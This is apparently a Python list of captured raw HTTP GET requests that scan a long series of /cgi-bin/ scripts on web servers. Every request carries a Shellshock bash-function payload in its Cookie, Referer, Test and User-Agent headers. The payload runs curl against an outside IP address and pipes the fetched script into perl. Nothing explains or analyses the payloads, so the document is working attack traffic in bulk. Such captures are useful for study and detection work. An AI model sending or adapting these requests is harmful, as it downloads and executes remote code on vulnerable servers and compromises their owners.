 u'GET /cgi-bin/common/listrec.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/commerce.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/commandit.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/classifieds/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/classifieds/classifieds.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/classifieds.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/classified.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cgi_processHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cgi.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cgforum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ccvsblame.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cbmc/forums.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cartmanager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/calendar/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cachemgr.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cached_feed.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/c_download.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bulk/bulk.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/build.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bslist.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bsguest.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/boozt/admin/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/book.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bnbform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/blog/mt-load.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/blog/mt-check.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bizdb1-search.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bigconf.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bbs_forum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/BBS/bbs_forum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bb-replog.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bb-rep.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bb-hostsvc.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bb-histlog.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bb-hist.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bb-ack.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/bannereditor.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/banner.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/badmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/axs.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ax.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ax-admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/auktion.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/auction/auction.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/AT-generate.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/AT-admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/astrocam.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/architext_query.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/AnyBoard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/alienform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/aglimpse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/af.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/adminwww.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/adminhot.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/admin/setup.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/admin/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/admin.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/adduser.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/addbanner.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/add_ftp.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/a1stats/a1disp4.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/a1stats/a1disp3.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/a1disp3.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/14all.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
